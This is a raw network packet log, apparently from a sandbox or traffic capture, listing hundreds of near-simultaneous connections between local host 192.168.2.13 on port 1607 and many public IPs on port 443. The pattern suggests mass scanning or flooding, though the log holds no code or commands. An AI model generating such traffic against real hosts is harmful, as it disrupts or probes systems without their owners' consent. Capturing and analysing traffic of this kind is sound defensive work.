Apr 14, 2024 03:59:49.692018986 CEST	1607	443	192.168.2.13	2.26.195.183
Apr 14, 2024 03:59:49.692020893 CEST	1607	443	192.168.2.13	79.170.77.245
Apr 14, 2024 03:59:49.692028999 CEST	443	1607	79.170.77.245	192.168.2.13
Apr 14, 2024 03:59:49.692029953 CEST	443	1607	2.26.195.183	192.168.2.13
Apr 14, 2024 03:59:49.692029953 CEST	443	1607	109.14.191.79	192.168.2.13
Apr 14, 2024 03:59:49.692042112 CEST	443	1607	212.54.52.37	192.168.2.13
Apr 14, 2024 03:59:49.692048073 CEST	1607	443	192.168.2.13	148.176.192.202
Apr 14, 2024 03:59:49.692053080 CEST	1607	443	192.168.2.13	178.96.86.65
Apr 14, 2024 03:59:49.692053080 CEST	1607	443	192.168.2.13	42.97.88.250
Apr 14, 2024 03:59:49.692056894 CEST	443	1607	148.176.192.202	192.168.2.13
Apr 14, 2024 03:59:49.692066908 CEST	1607	443	192.168.2.13	79.170.77.245
Apr 14, 2024 03:59:49.692075014 CEST	1607	443	192.168.2.13	2.26.195.183
Apr 14, 2024 03:59:49.692080021 CEST	1607	443	192.168.2.13	109.14.191.79
Apr 14, 2024 03:59:49.692086935 CEST	1607	443	192.168.2.13	148.176.192.202
Apr 14, 2024 03:59:49.692101955 CEST	1607	443	192.168.2.13	212.54.52.37
Apr 14, 2024 03:59:49.692111015 CEST	1607	443	192.168.2.13	212.6.188.227
Apr 14, 2024 03:59:49.692121983 CEST	1607	443	192.168.2.13	42.96.100.131
Apr 14, 2024 03:59:49.692126036 CEST	443	1607	212.6.188.227	192.168.2.13
Apr 14, 2024 03:59:49.692130089 CEST	443	1607	42.96.100.131	192.168.2.13
Apr 14, 2024 03:59:49.692147970 CEST	1607	443	192.168.2.13	123.24.50.62
Apr 14, 2024 03:59:49.692152977 CEST	1607	443	192.168.2.13	37.212.35.76
Apr 14, 2024 03:59:49.692158937 CEST	1607	443	192.168.2.13	178.216.20.202
Apr 14, 2024 03:59:49.692161083 CEST	443	1607	37.212.35.76	192.168.2.13
Apr 14, 2024 03:59:49.692163944 CEST	443	1607	123.24.50.62	192.168.2.13
Apr 14, 2024 03:59:49.692166090 CEST	443	1607	178.216.20.202	192.168.2.13
Apr 14, 2024 03:59:49.692169905 CEST	1607	443	192.168.2.13	42.96.100.131
Apr 14, 2024 03:59:49.692183018 CEST	1607	443	192.168.2.13	42.2.9.146
Apr 14, 2024 03:59:49.692183971 CEST	1607	443	192.168.2.13	212.6.188.227
Apr 14, 2024 03:59:49.692190886 CEST	443	1607	42.2.9.146	192.168.2.13
Apr 14, 2024 03:59:49.692194939 CEST	1607	443	192.168.2.13	178.216.20.202
Apr 14, 2024 03:59:49.692195892 CEST	1607	443	192.168.2.13	123.24.50.62
Apr 14, 2024 03:59:49.692233086 CEST	1607	443	192.168.2.13	123.67.4.26
Apr 14, 2024 03:59:49.692234039 CEST	1607	443	192.168.2.13	94.203.185.232
Apr 14, 2024 03:59:49.692234993 CEST	1607	443	192.168.2.13	37.212.35.76
Apr 14, 2024 03:59:49.692235947 CEST	1607	443	192.168.2.13	42.2.9.146
Apr 14, 2024 03:59:49.692240953 CEST	1607	443	192.168.2.13	2.45.253.98
Apr 14, 2024 03:59:49.692245007 CEST	443	1607	123.67.4.26	192.168.2.13
Apr 14, 2024 03:59:49.692254066 CEST	1607	443	192.168.2.13	2.156.204.37
Apr 14, 2024 03:59:49.692256927 CEST	443	1607	2.45.253.98	192.168.2.13
Apr 14, 2024 03:59:49.692261934 CEST	1607	443	192.168.2.13	210.70.24.41
Apr 14, 2024 03:59:49.692264080 CEST	443	1607	2.156.204.37	192.168.2.13
Apr 14, 2024 03:59:49.692266941 CEST	1607	443	192.168.2.13	212.23.15.123
Apr 14, 2024 03:59:49.692269087 CEST	443	1607	210.70.24.41	192.168.2.13
Apr 14, 2024 03:59:49.692269087 CEST	1607	443	192.168.2.13	109.223.66.79
Apr 14, 2024 03:59:49.692270994 CEST	443	1607	94.203.185.232	192.168.2.13
Apr 14, 2024 03:59:49.692276955 CEST	443	1607	109.223.66.79	192.168.2.13
Apr 14, 2024 03:59:49.692281961 CEST	1607	443	192.168.2.13	123.67.4.26
Apr 14, 2024 03:59:49.692282915 CEST	1607	443	192.168.2.13	123.127.19.164
Apr 14, 2024 03:59:49.692286015 CEST	443	1607	212.23.15.123	192.168.2.13
Apr 14, 2024 03:59:49.692289114 CEST	1607	443	192.168.2.13	118.86.237.59
Apr 14, 2024 03:59:49.692290068 CEST	443	1607	123.127.19.164	192.168.2.13
Apr 14, 2024 03:59:49.692296028 CEST	443	1607	118.86.237.59	192.168.2.13
Apr 14, 2024 03:59:49.692295074 CEST	1607	443	192.168.2.13	148.209.216.182
Apr 14, 2024 03:59:49.692313910 CEST	1607	443	192.168.2.13	210.70.24.41
Apr 14, 2024 03:59:49.692315102 CEST	1607	443	192.168.2.13	94.203.185.232
Apr 14, 2024 03:59:49.692315102 CEST	1607	443	192.168.2.13	2.156.204.37
Apr 14, 2024 03:59:49.692316055 CEST	1607	443	192.168.2.13	2.45.253.98
Apr 14, 2024 03:59:49.692317009 CEST	443	1607	148.209.216.182	192.168.2.13
Apr 14, 2024 03:59:49.692322969 CEST	1607	443	192.168.2.13	212.23.15.123
Apr 14, 2024 03:59:49.692323923 CEST	1607	443	192.168.2.13	109.223.66.79
Apr 14, 2024 03:59:49.692333937 CEST	1607	443	192.168.2.13	118.86.237.59
Apr 14, 2024 03:59:49.692341089 CEST	1607	443	192.168.2.13	123.127.19.164
Apr 14, 2024 03:59:49.692399979 CEST	1607	443	192.168.2.13	117.248.141.75
Apr 14, 2024 03:59:49.692401886 CEST	1607	443	192.168.2.13	109.97.132.186
Apr 14, 2024 03:59:49.692408085 CEST	443	1607	117.248.141.75	192.168.2.13
Apr 14, 2024 03:59:49.692409992 CEST	443	1607	109.97.132.186	192.168.2.13
Apr 14, 2024 03:59:49.692411900 CEST	1607	443	192.168.2.13	5.224.70.163
Apr 14, 2024 03:59:49.692411900 CEST	1607	443	192.168.2.13	210.159.181.88
Apr 14, 2024 03:59:49.692411900 CEST	1607	443	192.168.2.13	123.226.229.244
Apr 14, 2024 03:59:49.692423105 CEST	443	1607	5.224.70.163	192.168.2.13
Apr 14, 2024 03:59:49.692423105 CEST	1607	443	192.168.2.13	5.1.247.227
Apr 14, 2024 03:59:49.692424059 CEST	443	1607	210.159.181.88	192.168.2.13
Apr 14, 2024 03:59:49.692430973 CEST	443	1607	123.226.229.244	192.168.2.13
Apr 14, 2024 03:59:49.692439079 CEST	443	1607	5.1.247.227	192.168.2.13
Apr 14, 2024 03:59:49.692440987 CEST	1607	443	192.168.2.13	202.183.135.69
Apr 14, 2024 03:59:49.692449093 CEST	1607	443	192.168.2.13	109.97.132.186
Apr 14, 2024 03:59:49.692451000 CEST	1607	443	192.168.2.13	117.248.141.75
Apr 14, 2024 03:59:49.692454100 CEST	1607	443	192.168.2.13	210.159.181.88
Apr 14, 2024 03:59:49.692457914 CEST	1607	443	192.168.2.13	123.226.229.244
Apr 14, 2024 03:59:49.692465067 CEST	1607	443	192.168.2.13	5.224.70.163
Apr 14, 2024 03:59:49.692466974 CEST	443	1607	202.183.135.69	192.168.2.13
Apr 14, 2024 03:59:49.692476034 CEST	1607	443	192.168.2.13	5.227.153.27
Apr 14, 2024 03:59:49.692478895 CEST	1607	443	192.168.2.13	109.97.175.122
Apr 14, 2024 03:59:49.692482948 CEST	443	1607	5.227.153.27	192.168.2.13
Apr 14, 2024 03:59:49.692487001 CEST	443	1607	109.97.175.122	192.168.2.13
Apr 14, 2024 03:59:49.692490101 CEST	1607	443	192.168.2.13	5.1.247.227
Apr 14, 2024 03:59:49.692509890 CEST	1607	443	192.168.2.13	118.126.192.51
Apr 14, 2024 03:59:49.692509890 CEST	1607	443	192.168.2.13	123.39.114.28
Apr 14, 2024 03:59:49.692509890 CEST	1607	443	192.168.2.13	202.240.37.110
Apr 14, 2024 03:59:49.692514896 CEST	1607	443	192.168.2.13	202.183.135.69
Apr 14, 2024 03:59:49.692514896 CEST	1607	443	192.168.2.13	109.97.175.122
Apr 14, 2024 03:59:49.692517996 CEST	1607	443	192.168.2.13	210.217.245.127
Apr 14, 2024 03:59:49.692521095 CEST	443	1607	123.39.114.28	192.168.2.13
Apr 14, 2024 03:59:49.692523003 CEST	443	1607	118.126.192.51	192.168.2.13
Apr 14, 2024 03:59:49.692528009 CEST	443	1607	210.217.245.127	192.168.2.13
Apr 14, 2024 03:59:49.692532063 CEST	1607	443	192.168.2.13	5.227.153.27
Apr 14, 2024 03:59:49.692532063 CEST	1607	443	192.168.2.13	118.122.124.20
Apr 14, 2024 03:59:49.692533970 CEST	1607	443	192.168.2.13	109.37.137.109
Apr 14, 2024 03:59:49.692533970 CEST	443	1607	202.240.37.110	192.168.2.13
Apr 14, 2024 03:59:49.692542076 CEST	443	1607	109.37.137.109	192.168.2.13
Apr 14, 2024 03:59:49.692544937 CEST	1607	443	192.168.2.13	42.182.48.235
Apr 14, 2024 03:59:49.692544937 CEST	443	1607	118.122.124.20	192.168.2.13
Apr 14, 2024 03:59:49.692553043 CEST	443	1607	42.182.48.235	192.168.2.13
Apr 14, 2024 03:59:49.692555904 CEST	1607	443	192.168.2.13	123.39.114.28
Apr 14, 2024 03:59:49.692555904 CEST	1607	443	192.168.2.13	148.216.8.110
Apr 14, 2024 03:59:49.692564964 CEST	1607	443	192.168.2.13	210.217.245.127
Apr 14, 2024 03:59:49.692565918 CEST	443	1607	148.216.8.110	192.168.2.13
Apr 14, 2024 03:59:49.692565918 CEST	1607	443	192.168.2.13	118.126.192.51
Apr 14, 2024 03:59:49.692565918 CEST	1607	443	192.168.2.13	202.240.37.110
Apr 14, 2024 03:59:49.692570925 CEST	1607	443	192.168.2.13	109.37.137.109
Apr 14, 2024 03:59:49.692581892 CEST	1607	443	192.168.2.13	118.122.124.20
Apr 14, 2024 03:59:49.692595005 CEST	1607	443	192.168.2.13	37.111.21.97
Apr 14, 2024 03:59:49.692595005 CEST	1607	443	192.168.2.13	42.182.48.235
Apr 14, 2024 03:59:49.692603111 CEST	443	1607	37.111.21.97	192.168.2.13
Apr 14, 2024 03:59:49.692625046 CEST	1607	443	192.168.2.13	148.216.8.110
Apr 14, 2024 03:59:49.692625046 CEST	1607	443	192.168.2.13	118.148.248.123
Apr 14, 2024 03:59:49.692631006 CEST	1607	443	192.168.2.13	123.130.243.67
Apr 14, 2024 03:59:49.692635059 CEST	443	1607	118.148.248.123	192.168.2.13
Apr 14, 2024 03:59:49.692639112 CEST	1607	443	192.168.2.13	37.119.221.110
Apr 14, 2024 03:59:49.692639112 CEST	1607	443	192.168.2.13	210.122.234.169
Apr 14, 2024 03:59:49.692641973 CEST	1607	443	192.168.2.13	37.111.21.97
Apr 14, 2024 03:59:49.692642927 CEST	443	1607	123.130.243.67	192.168.2.13
Apr 14, 2024 03:59:49.692648888 CEST	443	1607	37.119.221.110	192.168.2.13
Apr 14, 2024 03:59:49.692657948 CEST	1607	443	192.168.2.13	148.209.216.182
Apr 14, 2024 03:59:49.692657948 CEST	1607	443	192.168.2.13	118.99.151.157
Apr 14, 2024 03:59:49.692663908 CEST	443	1607	210.122.234.169	192.168.2.13
Apr 14, 2024 03:59:49.692665100 CEST	1607	443	192.168.2.13	2.131.195.0
Apr 14, 2024 03:59:49.692672014 CEST	443	1607	2.131.195.0	192.168.2.13
Apr 14, 2024 03:59:49.692678928 CEST	443	1607	118.99.151.157	192.168.2.13
Apr 14, 2024 03:59:49.692692041 CEST	1607	443	192.168.2.13	123.130.243.67
Apr 14, 2024 03:59:49.692699909 CEST	1607	443	192.168.2.13	37.119.221.110
Apr 14, 2024 03:59:49.692699909 CEST	1607	443	192.168.2.13	210.122.234.169
Apr 14, 2024 03:59:49.692701101 CEST	1607	443	192.168.2.13	79.32.173.128
Apr 14, 2024 03:59:49.692707062 CEST	1607	443	192.168.2.13	118.148.248.123
Apr 14, 2024 03:59:49.692708015 CEST	1607	443	192.168.2.13	2.131.195.0
Apr 14, 2024 03:59:49.692715883 CEST	443	1607	79.32.173.128	192.168.2.13
Apr 14, 2024 03:59:49.692727089 CEST	1607	443	192.168.2.13	148.191.44.77
Apr 14, 2024 03:59:49.692734003 CEST	443	1607	148.191.44.77	192.168.2.13
Apr 14, 2024 03:59:49.692740917 CEST	1607	443	192.168.2.13	118.99.151.157
Apr 14, 2024 03:59:49.692753077 CEST	1607	443	192.168.2.13	79.42.105.45
Apr 14, 2024 03:59:49.692760944 CEST	443	1607	79.42.105.45	192.168.2.13
Apr 14, 2024 03:59:49.692771912 CEST	1607	443	192.168.2.13	37.55.218.157
Apr 14, 2024 03:59:49.692771912 CEST	1607	443	192.168.2.13	79.32.173.128
Apr 14, 2024 03:59:49.692774057 CEST	1607	443	192.168.2.13	123.195.103.51
Apr 14, 2024 03:59:49.692779064 CEST	443	1607	37.55.218.157	192.168.2.13
Apr 14, 2024 03:59:49.692776918 CEST	1607	443	192.168.2.13	117.204.157.28
Apr 14, 2024 03:59:49.692771912 CEST	1607	443	192.168.2.13	202.141.185.209
Apr 14, 2024 03:59:49.692776918 CEST	1607	443	192.168.2.13	148.191.44.77
Apr 14, 2024 03:59:49.692771912 CEST	1607	443	192.168.2.13	109.96.17.48
Apr 14, 2024 03:59:49.692786932 CEST	443	1607	123.195.103.51	192.168.2.13
Apr 14, 2024 03:59:49.692790031 CEST	443	1607	117.204.157.28	192.168.2.13
Apr 14, 2024 03:59:49.692800045 CEST	1607	443	192.168.2.13	117.209.6.100
Apr 14, 2024 03:59:49.692800999 CEST	1607	443	192.168.2.13	79.42.105.45
Apr 14, 2024 03:59:49.692809105 CEST	1607	443	192.168.2.13	148.167.55.228
Apr 14, 2024 03:59:49.692811012 CEST	443	1607	202.141.185.209	192.168.2.13
Apr 14, 2024 03:59:49.692812920 CEST	443	1607	117.209.6.100	192.168.2.13
Apr 14, 2024 03:59:49.692823887 CEST	443	1607	109.96.17.48	192.168.2.13
Apr 14, 2024 03:59:49.692825079 CEST	1607	443	192.168.2.13	123.195.103.51
Apr 14, 2024 03:59:49.692828894 CEST	443	1607	148.167.55.228	192.168.2.13
Apr 14, 2024 03:59:49.692836046 CEST	1607	443	192.168.2.13	117.204.157.28
Apr 14, 2024 03:59:49.692837000 CEST	1607	443	192.168.2.13	2.109.240.16
Apr 14, 2024 03:59:49.692836046 CEST	1607	443	192.168.2.13	210.239.166.240
Apr 14, 2024 03:59:49.692845106 CEST	1607	443	192.168.2.13	37.55.218.157
Apr 14, 2024 03:59:49.692845106 CEST	443	1607	2.109.240.16	192.168.2.13
Apr 14, 2024 03:59:49.692847013 CEST	443	1607	210.239.166.240	192.168.2.13
Apr 14, 2024 03:59:49.692852020 CEST	1607	443	192.168.2.13	117.209.6.100
Apr 14, 2024 03:59:49.692852974 CEST	1607	443	192.168.2.13	202.141.185.209
Apr 14, 2024 03:59:49.692871094 CEST	1607	443	192.168.2.13	148.167.55.228
Apr 14, 2024 03:59:49.692873001 CEST	1607	443	192.168.2.13	109.96.17.48
Apr 14, 2024 03:59:49.692881107 CEST	1607	443	192.168.2.13	2.109.240.16
Apr 14, 2024 03:59:49.692894936 CEST	1607	443	192.168.2.13	210.239.166.240
Apr 14, 2024 03:59:49.692903042 CEST	1607	443	192.168.2.13	37.123.128.131
Apr 14, 2024 03:59:49.692904949 CEST	1607	443	192.168.2.13	37.27.118.99
Apr 14, 2024 03:59:49.692913055 CEST	443	1607	37.27.118.99	192.168.2.13
Apr 14, 2024 03:59:49.692919016 CEST	443	1607	37.123.128.131	192.168.2.13
Apr 14, 2024 03:59:49.692924023 CEST	1607	443	192.168.2.13	79.56.106.84
Apr 14, 2024 03:59:49.692931890 CEST	443	1607	79.56.106.84	192.168.2.13
Apr 14, 2024 03:59:49.692939043 CEST	1607	443	192.168.2.13	148.131.246.139
Apr 14, 2024 03:59:49.692940950 CEST	1607	443	192.168.2.13	210.220.224.219
Apr 14, 2024 03:59:49.692940950 CEST	1607	443	192.168.2.13	178.165.83.255
Apr 14, 2024 03:59:49.692950010 CEST	443	1607	210.220.224.219	192.168.2.13
Apr 14, 2024 03:59:49.692950964 CEST	443	1607	148.131.246.139	192.168.2.13
Apr 14, 2024 03:59:49.692958117 CEST	1607	443	192.168.2.13	37.123.128.131
Apr 14, 2024 03:59:49.692962885 CEST	443	1607	178.165.83.255	192.168.2.13
Apr 14, 2024 03:59:49.692960978 CEST	1607	443	192.168.2.13	79.56.106.84
Apr 14, 2024 03:59:49.692967892 CEST	1607	443	192.168.2.13	37.27.118.99
Apr 14, 2024 03:59:49.692967892 CEST	1607	443	192.168.2.13	37.91.138.141
Apr 14, 2024 03:59:49.692970991 CEST	1607	443	192.168.2.13	202.208.195.56
Apr 14, 2024 03:59:49.692967892 CEST	1607	443	192.168.2.13	109.200.27.3
Apr 14, 2024 03:59:49.692986012 CEST	443	1607	37.91.138.141	192.168.2.13
Apr 14, 2024 03:59:49.692986965 CEST	1607	443	192.168.2.13	210.220.224.219
Apr 14, 2024 03:59:49.692991018 CEST	443	1607	202.208.195.56	192.168.2.13
Apr 14, 2024 03:59:49.692996025 CEST	1607	443	192.168.2.13	148.131.246.139
Apr 14, 2024 03:59:49.692996979 CEST	443	1607	109.200.27.3	192.168.2.13
Apr 14, 2024 03:59:49.693000078 CEST	1607	443	192.168.2.13	178.165.83.255
Apr 14, 2024 03:59:49.693000078 CEST	1607	443	192.168.2.13	202.106.65.143
Apr 14, 2024 03:59:49.693010092 CEST	443	1607	202.106.65.143	192.168.2.13
Apr 14, 2024 03:59:49.693011045 CEST	1607	443	192.168.2.13	37.91.138.141
Apr 14, 2024 03:59:49.693012953 CEST	1607	443	192.168.2.13	148.3.173.29
Apr 14, 2024 03:59:49.693013906 CEST	1607	443	192.168.2.13	202.208.195.56
Apr 14, 2024 03:59:49.693021059 CEST	443	1607	148.3.173.29	192.168.2.13
Apr 14, 2024 03:59:49.693041086 CEST	1607	443	192.168.2.13	109.200.27.3
Apr 14, 2024 03:59:49.693044901 CEST	1607	443	192.168.2.13	202.106.65.143
Apr 14, 2024 03:59:49.693078995 CEST	1607	443	192.168.2.13	42.75.53.58
Apr 14, 2024 03:59:49.693078995 CEST	1607	443	192.168.2.13	5.12.155.232
Apr 14, 2024 03:59:49.693078995 CEST	1607	443	192.168.2.13	202.37.50.130
Apr 14, 2024 03:59:49.693080902 CEST	1607	443	192.168.2.13	148.3.173.29
Apr 14, 2024 03:59:49.693080902 CEST	1607	443	192.168.2.13	148.108.132.220
Apr 14, 2024 03:59:49.693089962 CEST	443	1607	42.75.53.58	192.168.2.13
Apr 14, 2024 03:59:49.693099022 CEST	1607	443	192.168.2.13	178.142.188.255
Apr 14, 2024 03:59:49.693103075 CEST	443	1607	5.12.155.232	192.168.2.13
Apr 14, 2024 03:59:49.693103075 CEST	443	1607	148.108.132.220	192.168.2.13
Apr 14, 2024 03:59:49.693105936 CEST	443	1607	178.142.188.255	192.168.2.13
Apr 14, 2024 03:59:49.693113089 CEST	443	1607	202.37.50.130	192.168.2.13
Apr 14, 2024 03:59:49.693116903 CEST	1607	443	192.168.2.13	37.101.58.219
Apr 14, 2024 03:59:49.693116903 CEST	1607	443	192.168.2.13	42.52.233.169
Apr 14, 2024 03:59:49.693118095 CEST	1607	443	192.168.2.13	42.54.203.253
Apr 14, 2024 03:59:49.693125010 CEST	1607	443	192.168.2.13	42.75.53.58
Apr 14, 2024 03:59:49.693125963 CEST	443	1607	42.54.203.253	192.168.2.13
Apr 14, 2024 03:59:49.693141937 CEST	443	1607	37.101.58.219	192.168.2.13
Apr 14, 2024 03:59:49.693144083 CEST	1607	443	192.168.2.13	5.12.155.232
Apr 14, 2024 03:59:49.693144083 CEST	1607	443	192.168.2.13	202.37.50.130
Apr 14, 2024 03:59:49.693147898 CEST	1607	443	192.168.2.13	178.142.188.255
Apr 14, 2024 03:59:49.693151951 CEST	1607	443	192.168.2.13	202.84.155.91
Apr 14, 2024 03:59:49.693161964 CEST	443	1607	202.84.155.91	192.168.2.13
Apr 14, 2024 03:59:49.693166018 CEST	443	1607	42.52.233.169	192.168.2.13
Apr 14, 2024 03:59:49.693182945 CEST	1607	443	192.168.2.13	42.54.203.253
Apr 14, 2024 03:59:49.693186998 CEST	1607	443	192.168.2.13	148.191.212.161
Apr 14, 2024 03:59:49.693192005 CEST	1607	443	192.168.2.13	148.108.132.220
Apr 14, 2024 03:59:49.693192959 CEST	1607	443	192.168.2.13	37.101.58.219
Apr 14, 2024 03:59:49.693195105 CEST	443	1607	148.191.212.161	192.168.2.13
Apr 14, 2024 03:59:49.693208933 CEST	1607	443	192.168.2.13	202.84.155.91
Apr 14, 2024 03:59:49.693217039 CEST	1607	443	192.168.2.13	42.52.233.169
Apr 14, 2024 03:59:49.693232059 CEST	1607	443	192.168.2.13	148.191.212.161
Apr 14, 2024 03:59:49.693259001 CEST	1607	443	192.168.2.13	37.252.233.94
Apr 14, 2024 03:59:49.693259954 CEST	1607	443	192.168.2.13	212.57.132.117
Apr 14, 2024 03:59:49.693259001 CEST	1607	443	192.168.2.13	42.77.107.4
Apr 14, 2024 03:59:49.693260908 CEST	1607	443	192.168.2.13	109.160.132.17
Apr 14, 2024 03:59:49.693270922 CEST	443	1607	212.57.132.117	192.168.2.13
Apr 14, 2024 03:59:49.693279028 CEST	1607	443	192.168.2.13	118.108.84.215
Apr 14, 2024 03:59:49.693279028 CEST	1607	443	192.168.2.13	123.159.131.133
Apr 14, 2024 03:59:49.693280935 CEST	443	1607	37.252.233.94	192.168.2.13
Apr 14, 2024 03:59:49.693285942 CEST	443	1607	109.160.132.17	192.168.2.13
Apr 14, 2024 03:59:49.693294048 CEST	443	1607	118.108.84.215	192.168.2.13
Apr 14, 2024 03:59:49.693305969 CEST	443	1607	123.159.131.133	192.168.2.13
Apr 14, 2024 03:59:49.693308115 CEST	443	1607	42.77.107.4	192.168.2.13
Apr 14, 2024 03:59:49.693310022 CEST	1607	443	192.168.2.13	109.6.17.41
Apr 14, 2024 03:59:49.693314075 CEST	1607	443	192.168.2.13	212.57.132.117
Apr 14, 2024 03:59:49.693322897 CEST	1607	443	192.168.2.13	118.108.84.215
Apr 14, 2024 03:59:49.693331003 CEST	443	1607	109.6.17.41	192.168.2.13
Apr 14, 2024 03:59:49.693331957 CEST	1607	443	192.168.2.13	123.159.131.133
Apr 14, 2024 03:59:49.693341970 CEST	1607	443	192.168.2.13	37.252.233.94
Apr 14, 2024 03:59:49.693342924 CEST	1607	443	192.168.2.13	42.77.107.4
Apr 14, 2024 03:59:49.693360090 CEST	1607	443	192.168.2.13	109.160.132.17
Apr 14, 2024 03:59:49.693360090 CEST	1607	443	192.168.2.13	2.203.216.54
Apr 14, 2024 03:59:49.693360090 CEST	1607	443	192.168.2.13	109.6.17.41
Apr 14, 2024 03:59:49.693384886 CEST	1607	443	192.168.2.13	2.40.19.242
Apr 14, 2024 03:59:49.693386078 CEST	443	1607	2.203.216.54	192.168.2.13
Apr 14, 2024 03:59:49.693392992 CEST	443	1607	2.40.19.242	192.168.2.13
Apr 14, 2024 03:59:49.693408966 CEST	1607	443	192.168.2.13	212.3.149.21
Apr 14, 2024 03:59:49.693408966 CEST	1607	443	192.168.2.13	79.227.117.230
Apr 14, 2024 03:59:49.693418980 CEST	443	1607	212.3.149.21	192.168.2.13
Apr 14, 2024 03:59:49.693420887 CEST	1607	443	192.168.2.13	2.203.216.54
Apr 14, 2024 03:59:49.693429947 CEST	443	1607	79.227.117.230	192.168.2.13
Apr 14, 2024 03:59:49.693442106 CEST	1607	443	192.168.2.13	42.75.156.73
Apr 14, 2024 03:59:49.693442106 CEST	1607	443	192.168.2.13	109.113.139.73
Apr 14, 2024 03:59:49.693443060 CEST	1607	443	192.168.2.13	178.246.130.90
Apr 14, 2024 03:59:49.693443060 CEST	1607	443	192.168.2.13	212.3.149.21
Apr 14, 2024 03:59:49.693444967 CEST	1607	443	192.168.2.13	178.42.45.247
Apr 14, 2024 03:59:49.693451881 CEST	443	1607	42.75.156.73	192.168.2.13
Apr 14, 2024 03:59:49.693451881 CEST	1607	443	192.168.2.13	2.40.19.242
Apr 14, 2024 03:59:49.693453074 CEST	443	1607	178.246.130.90	192.168.2.13
Apr 14, 2024 03:59:49.693453074 CEST	443	1607	178.42.45.247	192.168.2.13
Apr 14, 2024 03:59:49.693461895 CEST	1607	443	192.168.2.13	79.227.117.230
Apr 14, 2024 03:59:49.693463087 CEST	443	1607	109.113.139.73	192.168.2.13
Apr 14, 2024 03:59:49.693489075 CEST	1607	443	192.168.2.13	42.75.156.73
Apr 14, 2024 03:59:49.693490028 CEST	1607	443	192.168.2.13	178.246.130.90
Apr 14, 2024 03:59:49.693497896 CEST	1607	443	192.168.2.13	178.42.45.247
Apr 14, 2024 03:59:49.693522930 CEST	1607	443	192.168.2.13	109.113.139.73
Apr 14, 2024 03:59:49.693543911 CEST	1607	443	192.168.2.13	212.240.115.144
Apr 14, 2024 03:59:49.693551064 CEST	443	1607	212.240.115.144	192.168.2.13
Apr 14, 2024 03:59:49.693551064 CEST	1607	443	192.168.2.13	37.132.243.243
Apr 14, 2024 03:59:49.693551064 CEST	1607	443	192.168.2.13	109.252.38.57
Apr 14, 2024 03:59:49.693559885 CEST	443	1607	37.132.243.243	192.168.2.13
Apr 14, 2024 03:59:49.693562031 CEST	1607	443	192.168.2.13	118.180.109.8
Apr 14, 2024 03:59:49.693559885 CEST	1607	443	192.168.2.13	5.8.54.154
Apr 14, 2024 03:59:49.693569899 CEST	443	1607	109.252.38.57	192.168.2.13
Apr 14, 2024 03:59:49.693571091 CEST	443	1607	118.180.109.8	192.168.2.13
Apr 14, 2024 03:59:49.693576097 CEST	1607	443	192.168.2.13	212.240.115.144
Apr 14, 2024 03:59:49.693578959 CEST	1607	443	192.168.2.13	79.235.34.166
Apr 14, 2024 03:59:49.693581104 CEST	443	1607	5.8.54.154	192.168.2.13
Apr 14, 2024 03:59:49.693588018 CEST	443	1607	79.235.34.166	192.168.2.13
Apr 14, 2024 03:59:49.693593979 CEST	1607	443	192.168.2.13	37.132.243.243
Apr 14, 2024 03:59:49.693594933 CEST	1607	443	192.168.2.13	109.14.42.85
Apr 14, 2024 03:59:49.693600893 CEST	1607	443	192.168.2.13	178.207.126.104
Apr 14, 2024 03:59:49.693603992 CEST	1607	443	192.168.2.13	79.194.106.66
Apr 14, 2024 03:59:49.693608046 CEST	443	1607	178.207.126.104	192.168.2.13
Apr 14, 2024 03:59:49.693609953 CEST	1607	443	192.168.2.13	118.180.109.8
Apr 14, 2024 03:59:49.693610907 CEST	443	1607	109.14.42.85	192.168.2.13
Apr 14, 2024 03:59:49.693613052 CEST	1607	443	192.168.2.13	178.163.244.199
Apr 14, 2024 03:59:49.693618059 CEST	1607	443	192.168.2.13	109.252.38.57
Apr 14, 2024 03:59:49.693620920 CEST	443	1607	178.163.244.199	192.168.2.13
Apr 14, 2024 03:59:49.693630934 CEST	443	1607	79.194.106.66	192.168.2.13
Apr 14, 2024 03:59:49.693634033 CEST	1607	443	192.168.2.13	79.235.34.166
Apr 14, 2024 03:59:49.693634033 CEST	1607	443	192.168.2.13	178.207.126.104
Apr 14, 2024 03:59:49.693634033 CEST	1607	443	192.168.2.13	42.38.100.179
Apr 14, 2024 03:59:49.693641901 CEST	1607	443	192.168.2.13	5.8.54.154
Apr 14, 2024 03:59:49.693646908 CEST	443	1607	42.38.100.179	192.168.2.13
Apr 14, 2024 03:59:49.693650961 CEST	1607	443	192.168.2.13	109.14.42.85
Apr 14, 2024 03:59:49.693655014 CEST	1607	443	192.168.2.13	202.137.137.116
Apr 14, 2024 03:59:49.693662882 CEST	1607	443	192.168.2.13	79.194.106.66
Apr 14, 2024 03:59:49.693664074 CEST	443	1607	202.137.137.116	192.168.2.13
Apr 14, 2024 03:59:49.693676949 CEST	1607	443	192.168.2.13	117.13.103.52
Apr 14, 2024 03:59:49.693676949 CEST	1607	443	192.168.2.13	42.38.100.179
Apr 14, 2024 03:59:49.693685055 CEST	443	1607	117.13.103.52	192.168.2.13
Apr 14, 2024 03:59:49.693706989 CEST	1607	443	192.168.2.13	202.137.137.116
Apr 14, 2024 03:59:49.693727016 CEST	1607	443	192.168.2.13	117.13.103.52
Apr 14, 2024 03:59:49.693731070 CEST	1607	443	192.168.2.13	178.163.244.199
Apr 14, 2024 03:59:49.695094109 CEST	1607	443	192.168.2.13	94.174.67.67
Apr 14, 2024 03:59:49.695094109 CEST	1607	443	192.168.2.13	109.230.39.46
Apr 14, 2024 03:59:49.695110083 CEST	1607	443	192.168.2.13	94.135.19.217
Apr 14, 2024 03:59:49.695120096 CEST	1607	443	192.168.2.13	210.76.96.149
Apr 14, 2024 03:59:49.695120096 CEST	443	1607	94.135.19.217	192.168.2.13
Apr 14, 2024 03:59:49.695126057 CEST	1607	443	192.168.2.13	79.102.15.20
Apr 14, 2024 03:59:49.695126057 CEST	1607	443	192.168.2.13	109.143.207.29
Apr 14, 2024 03:59:49.695126057 CEST	443	1607	94.174.67.67	192.168.2.13
Apr 14, 2024 03:59:49.695127964 CEST	443	1607	210.76.96.149	192.168.2.13
Apr 14, 2024 03:59:49.695135117 CEST	443	1607	79.102.15.20	192.168.2.13
Apr 14, 2024 03:59:49.695139885 CEST	1607	443	192.168.2.13	210.109.18.90
Apr 14, 2024 03:59:49.695142031 CEST	1607	443	192.168.2.13	37.176.168.181
Apr 14, 2024 03:59:49.695142984 CEST	443	1607	109.143.207.29	192.168.2.13
Apr 14, 2024 03:59:49.695148945 CEST	443	1607	37.176.168.181	192.168.2.13
Apr 14, 2024 03:59:49.695148945 CEST	443	1607	210.109.18.90	192.168.2.13
